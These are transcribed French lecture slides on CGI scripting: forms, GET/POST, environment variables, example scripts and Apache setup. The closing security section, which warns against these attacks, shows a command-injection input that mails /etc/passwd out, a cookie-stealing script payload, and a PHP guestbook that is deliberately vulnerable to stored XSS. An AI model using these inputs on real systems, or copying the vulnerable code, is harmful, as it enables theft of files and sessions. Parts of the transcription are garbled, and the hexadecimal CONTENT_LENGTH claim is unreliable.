Programmation WEB. Scripts CGI. Programmation licence. 14 février IUT de Fontainebleau

Transcription

1 Scripts CGI IUT de Fontainebleau 14 février 2014

2 1 Introduction Rappels formulaires GET/POST 2 Principe Exemples Mise en oeuvre 3 4

3 Rappels formulaires GET/POST Une application Web est une applications clients/serveur(s) On peut la voir en trois couches...

4 Rappels formulaires GET/POST Front-End Back-End SGBD

7 Rappels formulaires GET/POST Front-End Back-End Structure Présentation Applicatif SGBD

8 Rappels formulaires GET/POST Front-End Back-End Présentation Applicatif SGBD

9 Rappels formulaires GET/POST Front-End Back-End Applicatif SGBD

11 Introduction Rappels formulaires GET/POST CGI au niveau du Backend : Common Gateway Interface (CGI) est un standard pour interfacer des applications externes avec un serveur WEB. Un document HTML servit par le daemon Web est statique, ie il existe dans un état constant, un fichier texte qui ne change pas (pas tout à fait vrai avec les SSI). En revanche, un programme CGI est exécuté et il peut recevoir et/ou renvoyer de l information dynamiquement au serveur web.

12 Formulaire HTML Introduction Rappels formulaires GET/POST Balise <form> et </form>. Eléments de formualaire : input : saisie Elément input text password checkbox radio submit reset button hidden zone de texte zone de texte caché cases à cocher un seul selectionnable bouton de soumission de formulaire bouton de remise à zéro des champs bouton associé à du javascript bouton caché select : listes à ascenseurs. textarea : zone de saisie d un texte.

13 Attributs de form Introduction Rappels formulaires GET/POST method : valeur get ou post qui indique la façon dont les données sont transmises au script CGI. action : URL du programme CGI qui sera exécuté à la soumission du formulaire. name : nom du formulaire. target : cible dans laquelle la réponse du programme CGI sera affichée. enctype : spécifie l encodage utilisé pour l envoie des données du formulaire dans le cas de la méthode post (dans le corps de la requête) :

14 Rappels formulaires GET/POST Valeur possible pour enctype. application/x-www-form-urlencoded : (valeur par défaut) url-encode le contenu du formulaire de la même façon que la méthode GET text/plain : le contenu du formulaire est envoyé en format lisible par le destinataire multipart/form-data : permet d expédier un fichier attaché dnas le corps de la requête (<input type="file">)

15 La méthode GET Introduction Rappels formulaires GET/POST La méthode standard de requête d un document : récupérer un fichier, une image,... activer un script CGI en lui transmettant des données. Le corps de la requête est toujours... vide. Le serveur répond avec une ligne décrivant l état de la requête, un entête et le contenu de la réponse. En cas d échec, le contenu de la réponse décrit sa raison (permission, fichier absent, etc...) Les données du formulaire sont transmises dans l URL, après un?, séparées par un &. GET /cgi-bin/prog.cgi?login=denis&pass=toto HTTP/1.1 L URL a une taille limitée à 4ko. Encodage : application/x-www-form-urlencoded

16 La méthode POST Introduction Rappels formulaires GET/POST Elle permet de transmettre des données au serveur dans le corps de la requête. Exemple Exemple <html> <body> <form action=" method="post"> Nom : <input type="text" name="nom"> Prenom : <input type="text" name="prenom"> <input type="text" name=" "> <input type="submit" name="accepter" value="ok"> </form> </body> </html>

17 Rappels formulaires GET/POST

18 Rappels formulaires GET/POST Notez bien l encodage.

19 Common gateway Interface Principe Exemples Mise en oeuvre Interface de base qui définit la communication entre le serveur HTTP et un programme applicatif. CGI spécifie comment des clients peuvent communiquer avec des programmes qui s exécutent sur le serveur WEB, et qui générent des pages HTML dynamiques créées à la volée à partir du résultat des exécutions. La comunication entre le daemon http et un programme cgi se fait par l intermédiaire : des variables d environnement de l entrée standard Le résultat de l exécution du CGI est faite sur sa sortie standard, que le daemon http récupére.

20 Programme CGI? Introduction Principe Exemples Mise en oeuvre avant tout un programme : exécution sur la machine hôte du serveur HTTP. en langage compilé (binaire) ou interprété. qui permet de : récupérer les données du formulaire à l aide d un parser : pour chaque champs, un couple (NAME/VALUE) est transmis au serveur. effectuer des traitements sur le serveur. lecture/écriture dans un base de données. stockage d une info (compteurs, identitifant de connexion,...) recherche d informations. générer un résultat qui est renvoyé au client. page HTML, image, document, etc...

21 Partie statique Introduction Principe Exemples Mise en oeuvre Navigateur client Affichage formulaire Demande formulaire Envoie du formulaire daemon http Recherche de la page sur le disque DD remplissage du formulaire Saisie invalide Soumission (JS) Saisie valide Formulaire OK

22 Partie dynamique Introduction Principe Exemples Mise en oeuvre Formulaire OK Envoie données daemon http Transmission données et lancement CGI Exécution du script CGI CGI SGBD Envoie du résultat HTML daemon http Réponse en HTML au serveur HTTP Requêtes au SGBD Affichage réponse

23 Avantages/Incovénients Principe Exemples Mise en oeuvre Puissant mais dangereux. permet d excuter tout et n inporte quoi par le daemon HTTP. Le CGI doit s exécuter rapidement risque de surcharge du serveur. utilisateur impatient. possibilité d envoyer ds le début de l exécution une page qui permet d indiquer à l utilisateur que le résultat arrive.

24 Un exemple Introduction Principe Exemples Mise en oeuvre #!/bin/bash echo "Content-type: text/html;" echo "" echo "<!doctype html>" echo "<html><head><meta charset= utf8 ></head>" echo "<body>" export LC_ALL=fr_FR.utf-8 date= date +"%A %d %B %Y" echo "<p> Nous sommes le <b>$date</b></p>" echo "</body></html>"

25 Principe Exemples Mise en oeuvre ce programme CGI n utilise aucune donnée en provenance du client.

26 GET/POST Introduction Principe Exemples Mise en oeuvre Méthode GET : données relatives aux champs du formulaire transmises via l url. le programme cgi les récupéree dans la variable d environnement QUERY_STRING. Méthode POST : données relatives aux champs du formulaire sont transmises dans le corps de la requête HTTP. Les variables d environnements Content-Type et Content-Length sont positionnés. le programme récupère les données sur son entrée standard.

27 Format URL encodé Principe Exemples Mise en oeuvre Nécessité de coder les données de l URL (méthode GET) et du corps (méthode POST) sur le client pour construire la chaîne CGI pour respecteur la rfc?? qui spécifie la syntaxe des URL. Les caractères non alphanumériques sont remplacés par %xx, ( xx est le code ascii du caractère en hexadécimal) Les caractères ; /? & = + $, sont reservés :? : début de QUERY_STRING. & : séparateur de champs. = : séparation entre le champ et sa valeur. Les espaces sont remplacés par des +.

28 Format URL encodé Principe Exemples Mise en oeuvre format de la chaîne CGI champ1=valeur1&champ2=valeur2&... cas des champs à valeurs multiples nom_liste=valeur1&nom_liste=valeur2&... La chaîne CGI est : construite par le client au format URL encodé quand la requête est postée. transmise au CGI tel quel via la variable QUERY_STRING dans le cas GET. transmise au CGI tel quel via l entrée standard avec le cas POST.

29 Format de sortie d un CGI Principe Exemples Mise en oeuvre Entête, ligne vide et corps : Réponse http d un cgi Content-type : type/subtype Window-target : frame Location : url Status : code msg <html>. </html> type MIME du corps fenêtre de réception du résultat redirection vers une autre URL code de la réponse HTTP ligne vide Location doit être utilisé seul : redirection au client. En-tête minimale : Content-type.

30 No parsed headers (NPH) CGI Principe Exemples Mise en oeuvre En principe, le serveur HTTP ne construit l en-tête (HTTP) finale de la réponse que lorsque l exécution du CGI est terminé (en particulier pour générer Content-Length) certains scripts peuvent vouloir générer eux-même toute la réponse HTTP (y compris le code de retour) Le serveur HTTP n anlyse plus les en-têtes générés par le CGI. permet d envoyer une partie du résultat avant la fin d exécution du CGI. le nom de ces scripts doivent être préfixés par nph-.

31 nph CGI : exemple Introduction Principe Exemples Mise en oeuvre #!/bin/sh echo "HTTP/1.0 OK Server: localhost Content-Type: text/html <HEAD> <TITLE>un test...</title> </HEAD> <BODY> <H1>Sortie d un script nph</h1> il semble que c est OK! </BODY>"

32 Variables d environnements Principe Exemples Mise en oeuvre Elles sont positionnées par le serveur HTTP pour fournir au CGI le contexte (infos sur le serveur, le client, etc...) Variables d environnements SERVER_SOFTWARE (nom/version) SERVER_NAME (nom) GATEWAY_INTERFACE (CGI/version) SERVER_PROTOCOL (protocle/version) SERVER_PORT (port) REQUEST_METHOD (methode) SCRIPT_NAME (nom) REMOTE_HOST (nom) nom et version du daemon HTTP nom ou adresse IP du serveur version des spécifications CGI utilisées par le serveur protocole et version de la requête en cours de traitement numéro du port TCP vers lequel la requête a été envoyée méthode associée à la requête chemin du CGI depuis la racine du serveur nom de la machine d où vient la requête

33 Variables d environnements Principe Exemples Mise en oeuvre Elles sont positionnées par le serveur HTTP pour fournir au CGI le contexte (infos sur le serveur, le client, etc...) Variables d environnements REMOTE_ADDR (adresse ip) AUTH_TYPE (authentification) REMOTE_USER (login) REMOTE_IDENT (login_os) CONTENT_TYPE (type/subtype) CONTENT_LENGTH (longeur en hexa) adresse ip de la machine d où vient la requête méthode d authentification de l utilisateur s il y a lieu si authentification, login de l utilisateur associé à la requête type MIME des données dans la requête longueur des données de la requête POST

34 Variables d environnements Principe Exemples Mise en oeuvre Elles sont positionnées par le serveur HTTP pour fournir au CGI le contexte (infos sur le serveur, le client, etc...) Variables d environnements PATH_INFO (path) chaîne entre SCRIPT_PATH et QUERY_STRING dans l URL QUERY_STRING données transmises au CGI par GET (champ1=val1&...) HTTP_XXX (champ variable pour chaque champ entête HTTP) contenu dans l entête HTTP (HTTP_ACCEPT,HTTP_USER_AGENT,...)

35 Exemple en perl Introduction Principe Exemples Mise en oeuvre #!/usr/bin/perl ## ## printenv -- demo CGI program which just prints ## its environment ## print "Content-type: text/plain; charset=iso \n\n"; foreach $var (sort(keys(%env))) { $val = $ENV{$var}; $val =~ s \n \\n g; $val =~ s " \\" g; print "${var}=\"${val}\"\n"; }

36 Principe Exemples Mise en oeuvre

37 Quel langage utiliser? Peut importe, pourvu que : le programme soit exécutable sur le serveur. le programme puisse lire les variables d environnement et/ou l entrée standard. le programme puisse écrire sur sa sortie standard. Les plus utilisés : Perl et shell PHP (mixe entre Perl et C). C : compilé, et bien intégré au système compilé, les sources ne sont pas accessibles.

38 Quel utiliser? Accès aux variables d environnemt : en C : Dans stdlib.h, getenv("nom"). Variable globale environ. fonction main int main(int n,char *arg[],char *env[]). en shell : $nom. en perl, $ENV{ nom }. en PHP, $_SERVER[ nom ]. Entrées/Sorties. En C : dans stdio.h printf("...",...) et scanf("...",...) en shell : echo "..." et read var en Perl : read(stdin,$stuff $ENV{ CONTENT_LENGTH })

39 Parser les données du formulaire Il faut récupérer les couples nom/valeur dans le cgi. Il s agit essentiellement de traitement de chaînes de caractères. Uitliser des bibliothèques existantes (cf tp) : module cgi en perl, ou bibliothèque cgi-lib.pl etc... En C, libcgi PHP, rien à faire, déjà parser dans les tableaux _POST, _GET ou _REQUEST.

40 Configuration du serveur Apache le serveur doit savoir quelles requêtes doivent être traitées comme des CGI pour : passer les paramètres au programme cgi. l exécuter. récupérer sa sortie standard pour construire la réponse HTTP. Répertoire de cgi : directive ScriptAlias ou ScriptAliasMatch (utilisation d expression régulière) ScriptAlias /cgi-bin/ /var/www/localhost/cgi-bin/ toutes les requêtes du type seront traitées comme des CGI avec exécution de /var/www/localhost/cgi-bin/*

41 Configuration du serveur Apache des cgi dans des repertoires : directive AddHandler # AddHandler allows you to map certain file extensions to "handlers": # actions unrelated to filetype. These can be either built into the server # or added with the Action directive (see below) # # To use CGI scripts outside of ScriptAliased directories: # (You will also need to add "ExecCGI" to the "Options" directive.) # AddHandler cgi-script.cgi.pl.sh il faut autoriser les exécutions de CGI dans les répertoires qui peuvent contenir des.cgi, des.pl ou des.sh. <Directory /home/*/public_html> options +ExecCGI </Directory> C est le daemon http (user apache ou www) qui exécute le script cgi. Vérifier les droits d exécution!

42 Sécurtité Introduction Afin de limiter les trous de sécurités : Limiter le nombre de personnes autorisées à créer des CGI sur le serveur. Vérifier dans le CGI que l exécutant est bien le daemon httpd. Ne pas lancer le daemon httpd en tant que root. Eviter les CGI ayant positionné le bit setuid. Eviter l emploide commandes qui lancent des sous-processus (system, exec,...) Restreindre les accès. Consulter la page dédié sur w3

43 Un exemple Introduction Il ne faut jamais envoyer directement une chaîne entrée par l utilisateur vers un shell, ou une commande. Un formulaire qui demande une adresse mail associé à un cgi qui envoie un mail à l adresse indiquée par echo "... " mail $champ_mail Attention aux saisies du genre : personnenullepart.fr;mail moichezmoi < / etc / passwd

44 Un autre exemple En php, un fichier est utilisé pour stocké des messages. <form> <input type="text" name="message"><br /> <input type="submit"> </form> <?php if (isset($_get[ message ])) { $fp = fopen(./messages.txt, a ); fwrite($fp, "{$_GET[ message ]}<br />"); fclose($fp); } readfile(./messages.txt );?>

45 et la saisie suivante : <script> document.location = + document.cookie </script>